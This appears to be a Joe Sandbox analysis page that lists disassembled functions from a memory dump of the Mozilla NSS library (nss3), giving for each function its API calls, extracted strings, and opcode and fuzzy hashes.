Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 96fd74b543a512152b855e677f5036fe54a5fa509a5f07273dceb3b8e3e013a6
Instruction ID: bb29c9ad05a8951972625c8b37f23b68cba5229c684613326c47631b160be731
Opcode Fuzzy Hash: 96fd74b543a512152b855e677f5036fe54a5fa509a5f07273dceb3b8e3e013a6
Instruction Fuzzy Hash: 17024062D0DBCC6EF7328A71C64C3C76AE49B46328F0D167EC5DE96683C3B859898351

Function 6C7B6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C3F

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C60
PR_ExplodeTime.NSS3(00000000,6C761C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C94

Strings

gfff, xrefs: 6C7B6D66
gfff, xrefs: 6C7B6D9C
gfff, xrefs: 6C7B6CFD
gfff, xrefs: 6C7B6D30
gfff, xrefs: 6C7B6CF5

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0f1a6b58e4baa60a2a046144c092252c82fd9308ad70ae97792b9c445a1e5292
Instruction ID: b57938e5bb76f959f92ef1d2c20685b16d7dbd77f7b858f0b74153ff2156d677
Opcode Fuzzy Hash: 0f1a6b58e4baa60a2a046144c092252c82fd9308ad70ae97792b9c445a1e5292
Instruction Fuzzy Hash: 4A515C72B016494FC71CCDADDC527DAB7DAABA4310F48C23AE442DB785D638E906C751

Function 6C6FAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?), ref: 6C6FB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB0A2
CloseHandle.KERNEL32(?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?,?,?), ref: 6C6FB100
sqlite3_free.NSS3(?,?,00000002,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?), ref: 6C6FB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB12D

Part of subcall function 6C6E9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6FC6FD,?,?,?,?,6C74F965,00000000), ref: 6C6E9F0E
Part of subcall function 6C6E9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C74F965,00000000), ref: 6C6E9F5D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 7043a684660943f1c5e304914ffdb9bf8cbfcfca7c022bcd9bf6d3a9b2327db4
Instruction ID: 33b1eaacdf37768204088eeb086b60fcbe13b14021d0e3922eb888f2c646c330
Opcode Fuzzy Hash: 7043a684660943f1c5e304914ffdb9bf8cbfcfca7c022bcd9bf6d3a9b2327db4
Instruction Fuzzy Hash: 8791E4B0A052058FEB14CF24D984BBBB7B2FF85308F14463DE42697A51E734E546CB99

Function 6C7CBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C7CBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C7CBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C7CBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C7CBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C7CBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C7CBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C7CBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C7CBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C7CBE1E

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 63b8517c58b10b26fdaad6000c10efbbab131de4847e184844681e17eb20d8eb
Instruction ID: c908b346dc09b341699f6245c8f55deecac8b95e095ff0bf4bd2e90a4f97be2b
Opcode Fuzzy Hash: 63b8517c58b10b26fdaad6000c10efbbab131de4847e184844681e17eb20d8eb
Instruction Fuzzy Hash: 9D2171FAF0429B5FFB004A569E4BF8B76789B91B4DF080134F916AE641E710A41886E7

Function 6C878D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8C14E4,6C82CC70), ref: 6C878D47
PR_GetCurrentThread.NSS3 ref: 6C878D98

Part of subcall function 6C750F00: PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B
Part of subcall function 6C750F00: PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C878E7B
htons.WSOCK32(?), ref: 6C878EDB
PR_GetCurrentThread.NSS3 ref: 6C878F99
PR_GetCurrentThread.NSS3 ref: 6C87910A

Strings

%u.%u.%u.%u, xrefs: 6C878E74

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 1ab9e1e11b915c106a78f6a2b6305ce4db042a1e71bc9f0df8262a46244888f5
Instruction ID: e0bbeb3c6daf185dbfccfbae16854879ba39589d253a7670c4165d77186fda7b
Opcode Fuzzy Hash: 1ab9e1e11b915c106a78f6a2b6305ce4db042a1e71bc9f0df8262a46244888f5
Instruction Fuzzy Hash: 1202CD319051558FDB34CF1DC69836EBBB3EF42304F198A9AD8A15BA91E339D945C3B0

Function 6C839D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C6F8637,?,?), ref: 6C839E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C6F8637), ref: 6C839ED6

Strings

%s at line %d of [%.10s], xrefs: 6C839ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C839EC0
database corruption, xrefs: 6C839ECA

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 55f4a1778ee1fcffabea303d55c854a1f3a39874d05807bce8d0780812ec27c9
Instruction ID: 0fe2c60bf8cbe7d766c5f35835abfd7f4820e343572260ab808da1458be2864f
Opcode Fuzzy Hash: 55f4a1778ee1fcffabea303d55c854a1f3a39874d05807bce8d0780812ec27c9
Instruction Fuzzy Hash: A381E971B011158FCB24CFAACA80ADEB3F2EF48304B15A965D819AB741DB71DD45CBD0

Function 6C7C9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7C9ED6

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C7C9EE4

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C9F38

Part of subcall function 6C7CD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C7C9F0B), ref: 6C7CD03B
Part of subcall function 6C7CD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C7CD04E
Part of subcall function 6C7CD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C7CD07B
Part of subcall function 6C7CD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C7CD08E
Part of subcall function 6C7CD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7CD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C7C9F59

Part of subcall function 6C7C9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C7C9C5B), ref: 6C7C9D82
Part of subcall function 6C7C9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C7C9C5B), ref: 6C7C9DA9
Part of subcall function 6C7C9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C7C9C5B), ref: 6C7C9DCE
Part of subcall function 6C7C9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C7C9C5B), ref: 6C7C9E43

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 1759c6fa4fc5cd88bb91f886e416c008b49480de288021c4cc97695a667e7b82
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 17112BB5F042035FF7109E65AE09B9B7394AFA434CF140134E80A9BB41FB61EA58C293

Function 6C87CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C87D086
PR_Malloc.NSS3(00000001), ref: 6C87D0B9
PR_Free.NSS3(?), ref: 6C87D138

Strings

>, xrefs: 6C87CF5B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 400d504abda0141f244521ca6fecc36f0ecebaa80f996ae716c29302d6e31dfb
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: AFD15D62B4154A4BEB34487C8EA13DDB7938742374F584B2AD5219BBE6F619C8838371

Function 6C81AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58342217ee37242f4913698ebf9a4f46dc3c3b993f806fd3532a04463d001a69
Instruction ID: 9e3b4ec1e4b25f8d7e7a7e648d2472a9cbeb8500bdb7a114b35d1e5050f32930
Opcode Fuzzy Hash: 58342217ee37242f4913698ebf9a4f46dc3c3b993f806fd3532a04463d001a69
Instruction Fuzzy Hash: A9F1CBB5E091568FEB24CF28DA903A977F0BB8A308F154A7DC805D7B50E7749A46CBC4

Function 6C7D0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C7D1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C7D1086

Strings

h(}l, xrefs: 6C7D0E55, 6C7D0EC4, 6C7D0F3A, 6C7D0FA7
h(}l, xrefs: 6C7D1062, 6C7D105D, 6C7D0F37, 6C7D1081, 6C7D1082

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcpymemset
String ID: h(}l$h(}l
API String ID: 1297977491-4222638979
Opcode ID: 3c53118bf345bacf0d8eceae5c861daa300bb15de9dd20ed83df6dcd5df51a39
Instruction ID: c711be2ba43c7eeb8da918a448af0425b519be603eb7880e660a9333293fe2c9
Opcode Fuzzy Hash: 3c53118bf345bacf0d8eceae5c861daa300bb15de9dd20ed83df6dcd5df51a39
Instruction Fuzzy Hash: E6A13B71B0124A9FCB08DF99C994AEEBBB6BF88314F158129E905A7700D735ED01CBA0

Function 6C758EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1068fa0899a67cc602741cbb1f1fb9927558415b2f399fbbb3274596732ce1ae
Instruction ID: 480f4f423add3d43ce907281ad30dbb6ccfef69f8bf26021e53b2d664b5c5fce
Opcode Fuzzy Hash: 1068fa0899a67cc602741cbb1f1fb9927558415b2f399fbbb3274596732ce1ae
Instruction Fuzzy Hash: 7B11D032B512058BD714CF14D98875AB7B5BF8631CF4442BAD8068FA81CB76D8D2C7C1

Function 6C830C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5536aec2a544f2e776a7a9bcabe5eb480901e30581980104b4a7d1b33200a0b
Instruction ID: f47984cc5b4050080fb29cb24ea5e47351832c1992cd1b9ce23e2ad61a2c519f
Opcode Fuzzy Hash: c5536aec2a544f2e776a7a9bcabe5eb480901e30581980104b4a7d1b33200a0b
Instruction Fuzzy Hash: 8311BF746042598FCB20DF59C88066A77A2FFC5368F149479D8198B701EB71E807CBE5

Function 6C830D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 269a9b84e9be833b77c97b013e2383e528810f3758b0fa4674a94f3fd26da2da
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 1FE0923A202074A7DB658E89C550AA97399DF8161AFB4A97DCC5D9FA01D733F80387C1

Function 6C7C5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C7C5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7C5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C7C5E5C
free.MOZGLUE(00000000), ref: 6C7C5E7E
free.MOZGLUE(00000000), ref: 6C7C5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C7C5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C7C5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7C5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C7C5EF0
free.MOZGLUE(00000000), ref: 6C7C5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7C5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C7C5F5B
free.MOZGLUE(00000000), ref: 6C7C5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C7C5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C7C5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7C5FC4
free.MOZGLUE(00000000), ref: 6C7C5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C7C5FE9
free.MOZGLUE(00000000), ref: 6C7C5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C7C600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7C6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C7C605A
PR_smprintf.NSS3(6C89AAF9,00000000), ref: 6C7C606A
free.MOZGLUE(00000000), ref: 6C7C607C
free.MOZGLUE(00000000), ref: 6C7C609A
free.MOZGLUE(00000000), ref: 6C7C60B2
free.MOZGLUE(?), ref: 6C7C60CE

Strings

flags, xrefs: 6C7C5E3A, 6C7C5EC6, 6C7C5F30
pkcs11.txt, xrefs: 6C7C5F47, 6C7C5F7C, 6C7C603A, 6C7C6053
